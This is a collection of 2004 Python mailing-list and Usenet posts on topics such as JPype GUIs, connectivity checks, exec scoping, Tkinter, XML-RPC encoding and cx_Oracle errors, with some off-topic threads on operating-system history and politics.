Message-ID: <cjg70t$gun$1@newshispeed.ch>


"Steve Menard" <foo at bar.com> schrieb im Newsbeitrag
news:1DI6d.223$j5.307837 at weber.videotron.net...

<snip/>

> So, what I would do is have Python be the "host", the controller,
> calling the JAVA-built GUI and registering listeners. JPype does not
> allow subclassing of Java classes in python, but you can crerate JProxy
> that "implement" any Java interface. The standard idiom for Java event
> and callbacks is based on the use of interfaces anyway. In fact, baring
> the very rare cases where Swing requires subclasses, you could crerate
> your whole GUI using Swing and not writing a single line of Java.

Just to be sure that I got you right: I'd write the GUI things in Java and
hook the Python stuff into the GUI by implementing listeners directly or by
implementing interfaces used by the listeners in Python (sorry, yet I'm not
very experienced in Java). For me this sounds like what I want to have: The
GUI in a compiled lang, the gist in Python. If so, I'll give it a try.

>
> Steve
>

Many thanks, Steve!

Cheers
Franz




From jzgoda at gazeta.usun.pl  Sun Sep 19 04:49:21 2004
From: jzgoda at gazeta.usun.pl (Jarek Zgoda)
Date: Sun, 19 Sep 2004 08:49:21 +0000 (UTC)
Subject: Determining if a client PC has an Internet connection
References: <mailman.3489.1095578305.5135.python-list@python.org>
	<cijf4k$ona$2@atlantis.news.tpi.pl>
	<fcvydralxj0.dlg@thorstenkampe.de>
Message-ID: <cijh6h$kto$1@nemesis.news.tpi.pl>

Thorsten Kampe <thorsten at thorstenkampe.de> pisze:

>>> Is there any way to reliably determine the state of the client's
>>> internet connectivity?
>> 
>> No, there's no such way.
> 
> I think there has to be (or at least there is a method that many
> coders use because "testing if you're online" is a very frequent
> problem).

There has to be, but isn't. I often see this question on many forums
with single answer. Let me cite ICS FAQ:

"""
There is no perfect solution. Why? Because the Internet is just another
network. Your computer does not distinguish between LAN and Internet.
They are both networks. One of them just happens to be very big.

The Internet is no different to your local network. It is just a matter
of size.

Think about your question. "Am I connected to the Internet?". Try
rephrasing your question to what you really want to ask. "Can I connect
to a specific remote host?" With the question worded like this, you can
start to tackle the problem. How do you find out if you can connect to
the remote host? Try to connect. Simple as that. If the connection
attempt fails, there is no path between you and the remote host or the
remote host is refusing connections.

But, I hear you cry, I do not want the auto-dial the pop up. How do we
get around this? Ask the user how to make a connection. We see this all
the time in other Internet applications. Outlook Express, WinAmp, etc.
They ask the user what sort of network connection they have. From this
information, the applications can make the best choice about how to
connect to a remote host.

There is no proof way. However some things can help.

There is an InternetGetConnectedState function in the WinINet.DLL that
returns true if it detects a connection to the internet. However, the
only thing you can be sure about when using this funtion is that the
computer will not start dialing and not pop up any dialog box when the
function returned true and you afterwards try to do anything on the
internet. In some cases the function may return false although the
computer is connected.
"""

Although it is Win32-only.

-- 
Jarek Zgoda
http://jpa.berlios.de/


From davebrok at soda.csua.berkeley.edu  Tue Sep 14 13:00:07 2004
From: davebrok at soda.csua.berkeley.edu (David Pokorny)
Date: Tue, 14 Sep 2004 10:00:07 -0700
Subject: Greenlets: where are they now???
References: <foadnUs_VtNpFdncRVn-jQ@lmi.net>
	<x6SdnVJ8pp4xC9ncRVn-rQ@powergate.ca>
	<ZaCdnQBXf-iU2djcRVn-hA@lmi.net>
	<29Cdnar3ZOqUFtjcRVn-pg@powergate.ca>
	<BqqdnY4Yhf-d_9vcRVn-sw@lmi.net>
	<O8ydnWISdtpzWtvcRVn-gw@powergate.ca>
Message-ID: <QoKdnctBgM6NudrcRVn-jQ@lmi.net>


"Peter Hansen" <peter at engcorp.com> wrote in message
news:O8ydnWISdtpzWtvcRVn-gw at powergate.ca...
> I don't
> believe the greenlets approach would necessarily guarantee that,
> either, since there are bytecodes that can consume unbounded
> amounts of time.
>
> You've described the characteristics that you think your
> solution requires, but still not the actual problem.

Here's the idea: the executions I want to step through are bots that are
competing, 1 on 1, in a mathematical game (or otherwise, perhaps simulated
tag). Here is a good (and old) example

http://soda.csua.berkeley.edu/~davebrok/knobeln.txt

To answer your first point, although I do not write the bot code, anyone can
look at it, and in particular anyone can verify that no "cheating" occurs
along the lines of performing serious number crunching in a single bytecode
(via a C extension---AFAIK this is the main loophole in the
unbounded-execution-time-for-a-single-bytecode department).

David




From indigo at bitglue.com  Fri Sep 10 15:10:09 2004
From: indigo at bitglue.com (Phil Frost)
Date: Fri, 10 Sep 2004 15:10:09 -0400
Subject: python to C ?
In-Reply-To: <24972.12.151.80.14.1094843237.squirrel@webmail.vex.net>
References: <24972.12.151.80.14.1094843237.squirrel@webmail.vex.net>
Message-ID: <20040910191009.GA13533@unununium.org>

Really sounds like Pyrex to me, but perhaps you are thinking of Psyco?

On Fri, Sep 10, 2004 at 03:07:17PM -0400, mudd at vex.net wrote:
> I seem to remember an announcement on Daily Python-URL in the past year or
> two about a project that converts Python to C.  The goal wasn't to convert
> generic Python but a limited subset.  Something else unique was that the
> generated C code was sort of object oriented, actually readable.
> 
> But I don't remember the project name and can't find it even after many
> tries with Google, Vaults of P., etc.  And it wasn't Pyrex.  Does anyone
> recognize what I'm describing?
> 
> John


From __peter__ at web.de  Sat Sep 11 14:32:54 2004
From: __peter__ at web.de (Peter Otten)
Date: Sat, 11 Sep 2004 20:32:54 +0200
Subject: How can I exec() in global?
References: <chvf25$20uu$1@ulysses.noc.ntua.gr>
Message-ID: <chvgcm$ju3$05$2@news.t-online.com>

Jerald wrote:

> Is it possible to exec() from within a function so the exec'd
> code affects global?
> 
> For example
> 
> def foo():
>      exec ('X=[1,2,3]')
> 
> And I'd like 'X' to be a global variable.

>>> x
Traceback (most recent call last):
  File "<stdin>", line 1, in ?
NameError: name 'x' is not defined
>>> def foo():
...     exec "x = [1, 2, 3]" in globals()
...
>>> foo()
>>> x
[1, 2, 3]

Peter



From __peter__ at web.de  Thu Sep  9 13:30:26 2004
From: __peter__ at web.de (Peter Otten)
Date: Thu, 09 Sep 2004 19:30:26 +0200
Subject: Is except: ... pass bad style?
References: <pan.2004.09.09.16.26.16.985806@python.net>
Message-ID: <chq3vi$qb0$01$1@news.t-online.com>

marduk wrote:

> I commonly use code like this
> 
> try:
>     # call optional method
>     myobj.method()
> except AttributeError:
>     # no biggie
>     pass
> 
> 
> Occasionally I use pylint, which is a good tool, but in the above
> snippet pylint will complain that 'Except doesn't do anything'.  True,
> but is that bad style?  I know there are other ways of doing it, but
> of all the other "obvious" ones, this appears the most straight
> forward.
> 
> Should I ignore pylint or is there a more Pythonic way to do this?

If the class of myobj is under your control you could do

class MyObj:
    def method(self): 
        pass

and then later just call

myobj.method() 

Result: cleaner client code :-)

Peter



 


From bhk at dsl.co.uk  Sat Sep  4 18:31:37 2004
From: bhk at dsl.co.uk (Brian {Hamilton Kelly})
Date: Sat, 04 Sep 2004 23:31:37 +0100 (BST)
Subject: Xah Lee's Unixism
References: <7fe97cc4.0408251356.34f2102a@posting.google.com>
	<1gj5eeq.gb3dk41wup9zwN%otto.wyss@orpatec.ch>
	<87hdqptl96.fsf_-_@thalassa.informatimago.com>
	<4PGdnfsOfdDPi63cRVn-tA@speakeasy.net>
	<slrncj1745.t5q.amajorel@atc5.vermine.org>
	<41337FC9.8070902@hotmail.com>
	<slrncj7hhh.2pt.amajorel@atc5.vermine.org>
	<p7v7j0plcfbden593l1irfprmfkp4d3k51@4ax.com>
	<slrncj8m5n.2pt.amajorel@atc5.vermine.org>
	<%T%Yc.29567$Es2.11957889@news4.srv.hcvlny.cv.net>
	<2mmdj0t6mjgif88en11skbo3n8uiuj46nc@4ax.com>
	<41371e5c$0$19723$61fed72c@news.rcn.com>
Message-ID: <20040904.2231.57679snz@dsl.co.uk>

On Thursday, in article
     <41371e5c$0$19723$61fed72c at news.rcn.com> jmfbahciv at aol.com
     wrote:

> In article <2mmdj0t6mjgif88en11skbo3n8uiuj46nc at 4ax.com>,
>    Brian Inglis <Brian.Inglis at SystematicSW.Invalid> wrote:
> >MS has been borrowing code from Unix to create a real OS: TCP/IP;
> >NTFS<-ffs; memory mapped files<-mmap.
> 
> All right.  Now I'm mystified.  Why did they have to borrow code
> from Unix?  They already had VMS.  ISTM, VMS had all of the 
> above.

VMS (originally) most decidedly did NOT have either TCP/IP or NFS.
Indeed, it took many years before DEC [sorry, by then it was already
d|i|g|i|t|a|l] had a TCP/IP stack available for VMS --- the dreaded heap
of quivering jelly created by the Eunice idiots.

Before that, people who needed TCP/IP on a Vax used various third-party
solutions, such as the implementations from Carnegie-Mellon (CMU) or
Wollongong universities.  Then, of course, there was what many regarded
as the best TCP/IP stack for VMS, MultiNet from TGV (Two Guys and a VAX).
That product also included a working NFS implementation.

-- 
Brian {Hamilton Kelly}                                     bhk at dsl.co.uk
   "I don't use Linux. I prefer to use an OS supported by a large multi-
   national vendor, with a good office suite, excellent network/internet
   software and decent hardware support."


From kkrueger at example.edu  Thu Sep  2 14:11:08 2004
From: kkrueger at example.edu (Karl A. Krueger)
Date: Thu, 2 Sep 2004 18:11:08 +0000 (UTC)
Subject: Xah Lee's Unixism
References: <7fe97cc4.0408251356.34f2102a@posting.google.com>
	<1gj5eeq.gb3dk41wup9zwN%otto.wyss@orpatec.ch>
	<87hdqptl96.fsf_-_@thalassa.informatimago.com>
	<4PGdnfsOfdDPi63cRVn-tA@speakeasy.net>
	<slrncj1745.t5q.amajorel@atc5.vermine.org>
	<41337FC9.8070902@hotmail.com>
	<slrncj7hhh.2pt.amajorel@atc5.vermine.org>
	<p7v7j0plcfbden593l1irfprmfkp4d3k51@4ax.com>
	<slrncj8m5n.2pt.amajorel@atc5.vermine.org>
	<%T%Yc.29567$Es2.11957889@news4.srv.hcvlny.cv.net>
	<2mmdj0t6mjgif88en11skbo3n8uiuj46nc@4ax.com>
	<opsdpdzglzpqzri1@mjolner.upc.no>
	<1094141001.125507@teapot.planet.gong>
Message-ID: <ch7nnq$sk1$1@baldur.whoi.edu>

In comp.lang.lisp Rupert Pigott <roo at try-removing-this.darkboong.demon.co.uk> wrote:
> John Thingstad wrote:
>>
>> As for following standards thats just plain sense.  Note the Mac OS
>> 10 / Darwin uses a unix kernel because of all the problems  with
>> interoperabillity OS 9 had with talking to Windows and Unix boxes.
> 
> Which I believe is derived from a Mach uKernel... The "UNIX" bits
> are the FreeBSD userland utilities that surround it.

Well, no.  Mac OS X uses a BSD kernel implemented on top of the Mach
microkernel, much as Apple's experimental mkLinux placed a Linux kernel
on top of Mach.  OS X also uses a pretty standard set of BSD libraries
and utilities -- as well as the NeXT-derived ones.  (You can tell the
heritage apart pretty easily -- if it's written in Objective-C, it's
from the NeXT side.)

The BSD heritage is a two-way street:  Apple has contributed code
developed for OS X back to the FreeBSD and OpenBSD projects, as well as
releasing the whole Unix core of OS X as the open-source Darwin system.

It's also not particularly accurate to say that the reason Apple moved
to Unix was "interoperability".  Rather, the old Mac System was simply
never designed for what it ended up being used to do.  There were too
many layers of cruft -- and too many design decisions that were right
for 1984 but wrong for 1999.  Single-user, cooperative multitasking, and
a network stack designed for small LANs rather than the Internet ... the
old Mac System was a great microcomputer OS but not a great workstation
OS.

When you consider that the first Macs to run OS X were several hundred
times faster than the 1984 Mac, had one thousand times as much RAM, and
had fifty thousand times as much mass storage, it should follow pretty
naturally that the constraints of the old system's design would cease to
be appropriate.

	1984 Original Macintosh: 128kB RAM, 8MHz m68k, 400kB disk
	1999 Power Macintosh G4: 128MB RAM, 400MHz PPC G4, 20 GB disk

-- 
Karl A. Krueger <kkrueger at example.edu>
Woods Hole Oceanographic Institution
Email address is spamtrapped.  s/example/whoi/
"Outlook not so good." -- Magic 8-Ball Software Reviews


From uthand at hotmail.com  Tue Sep 14 10:27:08 2004
From: uthand at hotmail.com (Fritz Bosch)
Date: 14 Sep 2004 07:27:08 -0700
Subject: Import into specified namespace
References: <cf038e65.0409080844.16289c78@posting.google.com>
	<1gjt62r.16m0vef1e8ujm4N%aleaxit@yahoo.com>
Message-ID: <cf038e65.0409140627.69018881@posting.google.com>

aleaxit at yahoo.com (Alex Martelli) wrote:
> ...
> Why not sys.modules['sys'] = mydic instead of trying to rebind
> sys.__dict__?   You can't affect those other modules which have ALREADY
> imported sys, yourself included (but as for you, you can remedy that
> easily -- sys = sys.modules['sys'] = mydic...), but otherwise you should
> be OK.  sys.__dict__.update(mydic) as the last statement might also be
> an alternative (and if it works for your purposes, it's cleaner than
> rebinding sys.modules['sys']!-).

Thanks for the hint.  I actually want a different behavior for the
namespace, so the second suggestion (though cleaner) won't work for
me.  In fact, I had to modify the first to get what I want, namely a
namespace (for a module) with a reverse lookup capability, i.e. given
an object, it returns the object's name (if any) inside the namespace.

I eventually got following to run:

Assume a small module 'mymod.py', for which I need a namespace with
reverse lookup capability:
-------------------------------------------------------------
import sys

def fn():
    name = fn.__module__
    # print the id of this module in sys.modules, along with the ids
    #  of the function and current globals, and the module's dict
    print 'mymod name:%s id(sys.modules[name]):%s' % (
                name, id(sys.modules[name]))
    print '  id(fn.func_globals):%s id(globals()):%s \
id(sys.modules[name].__dict__):%s' % (
                id(fn.func_globals), id(globals()),
                id(sys.modules[name].__dict__))
-------------------------------------------------------------

To do this, I have defined following namespace.py module:
-------------------------------------------------------------
import sys
import os

class RNameSpace(dict):
    def __init__(self, *args, **kw):
        dict.__init__(self, *args, **kw)
        self.__rdict = {}
        for name, val in self.items():
            self.__rdict[id(val)] = name
    def __setitem__(self, name, val):
        if name in self:
            del self.__rdict[id(self[name])]
        dict.__setitem__(self, name, val)
        self.__rdict[id(val)] = name
    def update(self, other):
        for name, val in other.items():
            self[name] = val
    def __delitem__(self, name):
        if name in val:
            del self.__rdict[id(self[name])]
        dict.__delitem__(self, name)
    def rlookup(self, obj):
        return self.__rdict[id(obj)]

class Module(object):
    def __init__(self, mod_name, namespace=None):
        if namespace is None:
            namespace = RNameSpace()
        if isinstance(namespace, RNameSpace):
            self.__dict__ = namespace
        else:
            self.__dict__ = RNameSpace(namespace)
        module = __import__(mod_name)
        self.__dict__.update(module.__dict__)
    def reload(self):
        file = os.path.splitext(self.__file__)[0] + '.py'
        execfile(file, self.__dict__)
    def install(self):
        mod_name = self.__name__
        sys.modules[mod_name] = self

if __name__ == '__main__':
    ns = RNameSpace(a=1,b=2)
    c1 = 3
    ns['c']=c1
    a1 = ns['a']
    print ns.rlookup(a1), ns.rlookup(c1)
    
    print "create Module md from 'mymod' to use RNameSpace:"
    md = Module('mymod')
    print 'id(md):%s id(md.__dict__):%s' % (id(md), id(md.__dict__))

    print "\nnote that md.fn still uses original namespace:"
    md.fn()

    print '\nreload the file - now md.fn used the RNameSpace:'
    md.reload()
    md.fn()

    print '\nan import still uses the original namespace:'
    import mymod
    mymod.fn()

    print '\ninstall the module - subsequent imports \
use the altered namespace:'
    md.install()
    import mymod
    mymod.fn()
-------------------------------------------------------------

>From the above it can be seen that it was necessary to create a
module-like object with the specified namespace and to call execfile
with this namespace ? I could find no other way to make the
classes/functions inside mymod use the namespace.  Replacing the
sys.modules entry with this object then causes subsequent imports to
use the module-like object.

B.t.w. am I re-inventing the wheel here?  Is there another way to get
the name from given an object id?

Fritz


From pwmiller1 at adelphia.net  Fri Sep 17 00:39:09 2004
From: pwmiller1 at adelphia.net (Paul Miller)
Date: Thu, 16 Sep 2004 23:39:09 -0500
Subject: dummy tk windows
References: <gEk2d.25744$%S.13058@pd7tw2no>
Message-ID: <pan.2004.09.17.04.39.08.814115@adelphia.net>

On Thu, 16 Sep 2004 18:08:12 +0000, Elaine Jackson wrote:

> When I use a function from tkFileDialog outside of a tk GUI context, it
> creates a "dummy" tk window. It would be nice to know how to close these
> windows programmatically. TIA
> 

IIRC, you can't close them without terminating the tcl interpreter (doing
so destructs the implicitly created Tk object you instantiated when you
used the tkFileDialog function).  However, you can hide it with:

import Tkinter
import tkFileDialog

root = Tkinter.Tk()
root.withdraw()
fileOpen = tkFileDialog.Open()
fileOpen.show()

HTH



From eric_brunel at despammed.com  Fri Sep 10 11:57:27 2004
From: eric_brunel at despammed.com (Eric Brunel)
Date: Fri, 10 Sep 2004 17:57:27 +0200
Subject: WxInter
References: <mailman.3148.1094829029.5135.python-list@python.org>
Message-ID: <chsieg$7q1$1@news-reader3.wanadoo.fr>

Michael Sparks wrote:
> On Fri, 10 Sep 2004, Skip Montanaro wrote:
> 
> 
>>    Tom> It seems that the thing that people like about Tk is the Canvas
>>    Tom> object has anyone tried the wxFloatCanvas as a replacement.
>>
>>Where is it?  Google turns up essentially nothing for "wxFloatCanvas" on
>>either groups or web.  That makes it a pretty well-hidden object.  Google
>>offered "wxPlotCanvas" as an alternative.  Are they related?
> 
> 
> http://www.wxpython.org/docs/api/wx.lib.floatcanvas.FloatCanvas.FloatCanvas-class.html

Compare this with the tk canvas command manual at 
http://www.tcl.tk/man/tcl8.3/TkCmd/canvas.htm and you'll see we're quite far 
from it: I didn't see any means to move canvas items individually, or group them 
with tags, or knowing which items are at a given position, all things a tk 
canvas can do very easily...

The main difference between the tk canvas and the other toolkits' canvases is in 
fact quite simple: in other toolkits, once displayed, a canvas item is just a 
bunch of points. In tk, it remains a whole item which can be manipulated as a 
whole. Basically, in tk, canvases are for vector drawing; in other toolkits, 
they're more for bitmap drawing. And this makes quite a difference...
-- 
- Eric Brunel <eric (underscore) brunel (at) despammed (dot) com> -
PragmaDev : Real Time Software Development Tools - http://www.pragmadev.com



From nagendra.swamy at gmail.com  Wed Sep 29 08:34:16 2004
From: nagendra.swamy at gmail.com (Nagendra)
Date: 29 Sep 2004 05:34:16 -0700
Subject: Support for ODBC for Oracle through Python on solaris
Message-ID: <1880e162.0409290434.6a3279db@posting.google.com>

Hi all,
I need to access an Oracle database through a python script using ODBC
drivers(currently i have eval copies of Easysoft and datadirect Oracle
ODBC drivers).
Desired platforms are solaris, linux. 

Is there any support in the python to do this or will i have to resort
to a c/c++ program becuase python for UNIX doesn't support this.
any pointers will be appriciated.

Thanks in advance.
Nagendra.


From gregh at object-craft.com.au  Thu Sep 16 19:59:58 2004
From: gregh at object-craft.com.au (Greg Hamilton)
Date: Fri, 17 Sep 2004 09:59:58 +1000
Subject: XML_RPC and unicode problems
In-Reply-To: <7bf84d19.0409161548.521da358@posting.google.com>
References: <7bf84d19.0409161548.521da358@posting.google.com>
Message-ID: <414A28FE.30503@object-craft.com.au>

Thomas wrote:

>I am currently passing email messages over XML_RPC as the payload for
>a certain function call. On some of these messages, XML_RPC blows up
>on the server side and says something to the effect of:
>
>exceptions.UnicodeDecodeError: 'utf8' codec can't decode byte 0xa0 in
>position 1599: unexpected code byte
>
>Using the native Python codec for doing conversions gives me a similar
>error ('utf8' codec can't decode byte 0x93 in position 1328:
>unexpected code byte). That gives me the feeling that these specific
>messages are just funky. (Looking at the location in the file that
>they are choking seems to be random characters)
>
>What I've come to believe is that XML_RPC automatically assumes any
>strings it transfers are unicode and thusly tries to do conversions on
>these strings. Therefore, is there any way to keep XML_RPC from doing
>unicode conversions, or is there some way for me to just pass raw data
>over XML_RPC without having to worry about it?
>  
>
http://www.xmlrpc.com/spec

Have a look at the <base64> data type.


From siona at chiark.greenend.org.uk  Fri Sep 10 09:14:37 2004
From: siona at chiark.greenend.org.uk (Sion Arrowsmith)
Date: 10 Sep 2004 14:14:37 +0100 (BST)
Subject: Is there no switch function in Python
References: <CR20d.46131$Vf.2380522@news000.worldonline.dk>
Message-ID: <1Zb*VOguq@news.chiark.greenend.org.uk>

In article <CR20d.46131$Vf.2380522 at news000.worldonline.dk>,
Rudi Hansen <rsh_remove_this_ at pobox.dk> wrote:
>I dont seem to be able to find the switch statement in Python.
>
>I would like to be able to do
>
>switch(var)
>    case 1 :
>        print "var = 1"
>    case 2:
>        print "var = 2"

5 lines, 55 characters including the print statements.


>But it seems that i have to do.
>
>if(var=1)
>    print "var =1"
>elseif(var=2)
>    print "var=2"

4 lines, 52 characters (once corrected) including the print
statements (as written in the first example).

>Is ther no easier way?? 

In what way do you want it to be "easier"?

-- 
\S -- siona at chiark.greenend.org.uk -- http://www.chaos.org.uk/~sion/
  ___  |  "Frankly I have no feelings towards penguins one way or the other"
  \X/  |    -- Arthur C. Clarke
   her nu become? se bera eadward ofdun hl?ddre heafdes b?ce bump bump bump


From kkt at drizzle.com  Tue Sep 21 20:15:57 2004
From: kkt at drizzle.com (Patrick Scheible)
Date: 21 Sep 2004 17:15:57 -0700
Subject: Xah Lee's Unixism
References: <3vahj09m887i64osgm65bhhh6l9tl6j38a@4ax.com>
	<4140688e$0$6912$61fed72c@news.rcn.com>
	<flrphc.tlk1.ln@via.reistad.priv.no> <4140A885.90B945AC@yahoo.com>
	<4jkqhc.p7p1.ln@via.reistad.priv.no>
	<1oh3k01cieht04nmfo27pvihg8teme0mdt@4ax.com>
	<Zdm0d.88398$S55.30393@clgrps12>
	<chsvv6$v15$1@grandcanyon.binc.net> <tqm3c1krcuo.fsf@drizzle.com>
	<r6gek0diq28jqi0ie18hku87r8865lt3p8@4ax.com>
	<tqmhdpwqf8s.fsf@drizzle.com>
	<s0utk01omk8aipn7vclocmdgokfu66bu2g@4ax.com>
Message-ID: <tqmk6unxio2.fsf@drizzle.com>

Alan Balmer <albalmer at att.net> writes:

> On 17 Sep 2004 23:10:27 -0700, Patrick Scheible <kkt at drizzle.com>
> wrote:
> 
> >Alan Balmer <albalmer at att.net> writes:
> >
> >> On 14 Sep 2004 10:15:27 -0700, Patrick Scheible <kkt at drizzle.com>
> >> wrote:
> >> 
> >> >Chuck Dillon <spam at nimblegen.com> writes:
> >> >
> >> >> Coby Beck wrote:
> >> >> 
> >> >> >>
> >> >> >>And, of course, entertaining the possibility that his agenda is just
> >> >> >>what he says it is, is completely out of the question.
> >> >> > Not out of the question, be obviously untrue.
> >> >> 
> >> >> Again, I'll point out that it is naive to put this entirely on the
> >> >> administration.  We're in Iraq because we effectively declared
> >> >> war. The dance with the U.N. went on for some 3 months.  It was clear
> >> >> where we were headed.  Our congress, including Kerry and all of the
> >> >                                                           ^^^
> >> >Not all.  I'm happy to say my representative and one of my senators
> >> >voted against the resolution authorizing the war.
> >> >
> >> >Congress doesn't have its own intelligence service.  If the
> >> >administration claims to have clear evidence that a country has WMD
> >> >there's only so much that a minority party in congress can do to find
> >> >out if the administration is lying or engaged in wishful thinking.
> >> 
> >> http://intelligence.house.gov/
> >> http://intelligence.senate.gov/
> >
> >They have committees, they don't have independent
> >intelligence-gathering ability.
> >
> Neither does President Bush - he doesn't have time for all those field
> trips. That's why he gets reports from the various intelligence
> agencies, who also report to the Congressional intelligence
> committees.

The intelligence goes from the analysts to administration appointees,
who filter out what they don't want to hear and pass the remainder on
to POTUS and Congress.

-- Patrick



From jerf at jerf.org  Tue Sep  7 14:12:55 2004
From: jerf at jerf.org (Jeremy Bowers)
Date: Tue, 07 Sep 2004 18:12:55 GMT
Subject: gc.get_referrers trouble
References: <chkt0m$av0$04$1@news.t-online.com>
Message-ID: <pan.2004.09.07.14.13.08.463893@jerf.org>

On Tue, 07 Sep 2004 20:00:58 +0200, Diez B. Roggisch wrote:

> Hi,
> 
> I'm in the process of debugging a mem-leaking app. A recent thread here on
> c.l.py mentioned the use of the gc module, so I gave it a try.
> 
> However, using get_referrers() yields in literally thousands of objects for
> even the tiniest example like this:
> 
> import gc
> a = [1]
> print  gc.get_referrers(1)

For space reasons, small ints are re-used. You get thousands of referrers
to the number 1 because, well, there are!

Try this:

import gc
a = [4444444444444]
print gc.get_referrers(4444444444444)


and you'll get something much more reasonable:

[(None, 4444444444444L), [4444444444444L]]




From jerf at jerf.org  Thu Sep  2 20:00:38 2004
From: jerf at jerf.org (Jeremy Bowers)
Date: Fri, 03 Sep 2004 00:00:38 GMT
Subject: compiling to python byte codes
References: <4136b2b5$1@news.unimelb.edu.au>
	<4136bbf3$0$197$9b622d9e@news.freenet.de>
	<6f402501.0409020321.44fd443@posting.google.com>
	<41375f6a$0$13076$9b622d9e@news.freenet.de>
	<4137a850$1@news.unimelb.edu.au>
Message-ID: <pan.2004.09.02.20.00.45.714844@jerf.org>

On Thu, 02 Sep 2004 23:10:11 +0000, Maurice LING wrote:
> Can I feed a python source file into compile(), line by line, and expect 
> it to generate a working .pyc file? I suppose my intended use is to be 
> able to handle python codes written at run time, to execute python codes 
> line by line, in a python program. It is somewhat like a tracer routine 
> that can interpret a line of python code, read out the variables, before 
> going to the next line of python code. Can compile() do this, or do I 
> have to use pexpect to run an instance of python?

Why don't you clearly spell out your intended use and ask about that,
instead?

If, based on your use of "I suppose" and "somewhat", you are still unclear
on your intended use, figuring that out would be step #1. :-)

Many good modules exist for many things already; if you're trying to trace
for instance, there is a module for that. Let's start at the beginning:
What are you trying to do?



From xv0017python at yahoo.com  Mon Sep 20 14:00:05 2004
From: xv0017python at yahoo.com (julio)
Date: Mon, 20 Sep 2004 14:00:05 -0400
Subject: Shopping cart
References: <81a41dd.0409200816.5659197b@posting.google.com>
	<414f161b$0$25965$e4fe514c@news.xs4all.nl>
Message-ID: <cin5ra$gem$1@sea.gmane.org>

Irmen de Jong wrote:

> Lad wrote:
>> Is there a shopping cart in Python available?
> 
> I have no clue what you are asking.
> Perhaps the answer is here:
> http://www.catb.org/~esr/faqs/smart-questions.html
> 
> --Irmen

mmm, shopping cart sofware , to make online stores



From carribeiro at gmail.com  Wed Sep 22 16:01:42 2004
From: carribeiro at gmail.com (Carlos Ribeiro)
Date: Wed, 22 Sep 2004 17:01:42 -0300
Subject: An attempt to use a python-based mini declarative language for
	formdefinition
In-Reply-To: <RKadnchjSclpIszcRVn-tw@comcast.com>
References: <mailman.3731.1095874585.5135.python-list@python.org>
	<RKadnchjSclpIszcRVn-tw@comcast.com>
Message-ID: <864d370904092213016452b51f@mail.gmail.com>

On Wed, 22 Sep 2004 13:10:00 -0500, Larry Bates <lbates at swamisoft.com> wrote:
> You may can write your own __setattr__ method.
> That way you can keep track of the order of
> the fields yourself.

Larry,

I may have made a mistake on my own code, but __setattr__ would not
work for me; I'm creating my instances through a metaclass, and I'm
using class attributes for the fields.

In your example the form fields are instance attributes. In this case,
I agree it works. But as I said -- I was testing if I could make it
work using class attributes and metaclasses. I think that the
resulting code is much cleaner (after all black magic is done and
hidden from the user, that is). Compare:

1) using class attributes

class UserForm(Form):
   nickname = TextBox(length=15, default="")
   password = TextBox(length=10, default="", password=True)
   name     = TextBox(length=40, default="")

2) using instance atttributes

class UserForm(Form):
   def __init__(self):
       Form.__init__(self)
       self.nickname = TextBox(length=15, default=""))
       self.password = TextBox(length=10, default="", password=True))
       self.name     = TextBox(length=40, default="")

Others may think that's a small difference, but if I could choose
between both approaches, I would surely pick (1).

-- 
Carlos Ribeiro
Consultoria em Projetos
blog: http://rascunhosrotos.blogspot.com
blog: http://pythonnotes.blogspot.com
mail: carribeiro at gmail.com
mail: carribeiro at yahoo.com


From greg.lindstrom at novasyshealth.com  Tue Sep 28 17:20:02 2004
From: greg.lindstrom at novasyshealth.com (Greg Lindstrom)
Date: Tue, 28 Sep 2004 16:20:02 -0500
Subject: Oracle Access via cx_Oracle
Message-ID: <01c301c4a5a0$eb87ea40$054b12ac@D18SYX41>

>Shouldn't this be '/u01/app/oracle/product/9.2.0' ? Based on the following
values, that's what I'd expect.
I changed the ORCALE_HOME environment variable to the above suggested value
and got a new error!!  That's progress, right?  I'm now told:
 cx_Oracle.DatabaseError: ORA-12154: TNS:could not resolve service name
/usr/bin/sh: cx_Oracle.DatabaseError:: not found
Is this any help?
Thanks!


Greg Lindstrom                                         (501) 975-4859
NovaSys Health                  greg.lindstrom at novasyshealth.com

"We are the music makers, and we are the dreamers of dreams"  W.W.



From guess at My.email.address.scum.com  Thu Sep  9 15:04:32 2004
From: guess at My.email.address.scum.com (Anon)
Date: Thu, 9 Sep 2004 20:04:32 +0100
Subject: found bakups of code I never asked for ---
Message-ID: <chq9fu$9ii$1@newsg3.svr.pol.co.uk>


-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

Hey everyone.

I was looking around my file system today when I stumbled ac ross 
A -COMPLETE- bakup of every piece of python code I ever coded in the 
folder...

C:\Documents and Settings\edit.edit\Local Settings\Temp\bak

Can someone tell me were the options are for turnin this bakup feature on 
and off??

I have current Python build installed,  ie 2.3.4 and also Pythonwin same 
build..

I cannot remember selecting any option in the setup to bakup my code this 
way, so I was wondering were the feature for it actualy is???

I probably would like to keep it, just in case of any file corruption 
problems, but it would be ncie to no that I ALSO turn the feature of as 
well.

Thanks.
Anon


- -- 
*************
The Imagination may be compared to Adam's dream-
he awoke and found it truth.
John Keats.
*************
-----BEGIN PGP SIGNATURE-----
Version: PGP 8.0

iQA/AwUBQUCpPi/z2sM4qf2WEQI+rwCgvFxlyaDvIscS9pbYFPVfiDNot3cAoKyz
xnFAyoYozJtjtERcKdMGOJoU
=hLXS
-----END PGP SIGNATURE-----




From peter at engcorp.com  Fri Sep 10 00:15:26 2004
From: peter at engcorp.com (Peter Hansen)
Date: Fri, 10 Sep 2004 00:15:26 -0400
Subject: Electronic voting feasibility
In-Reply-To: <chr77a$4gj@odak26.prod.google.com>
References: <chr77a$4gj@odak26.prod.google.com>
Message-ID: <TLCdnWYdVNXDt9zcRVn-hw@powergate.ca>

Greg Steffensen wrote:
> I'm designing a web portal for universities (a free software, by/for
> students thing), and I'm considering including an electronic voting
> component.  ...
> Are there any technical reasons that Python would be a poor choice for
> this?  I have no illusions that its possible to build a perfect system,
> but would Python be more vulnerable than C or Java for some reason?

If anything, Python will be much *more* secure than C, and possibly
slightly less secure than Java.  On the other hand, once we're past
the old buffer overflow issues (always an issue with C, effectively
never an issue with Python) and similar low-level technical problems,
we are in the realm where the *design of your system* is more likely
to be the cause of any security flaws, rather than the tools used.

Here, too, Python may have an advantage, as it should allow you to
build the system in a way that more closely matches the design.
Python is fairly high level, even compared to Java, so in should
let you spend less time coding and more time designing, and for
a security-sensitive app that is the most important thing (after
what might really be the most important thing, which is to become a
security guru...or hire one).

> I'm not a security guru, but ...

:-)

-Peter

> choice of language is largely arbitrary.
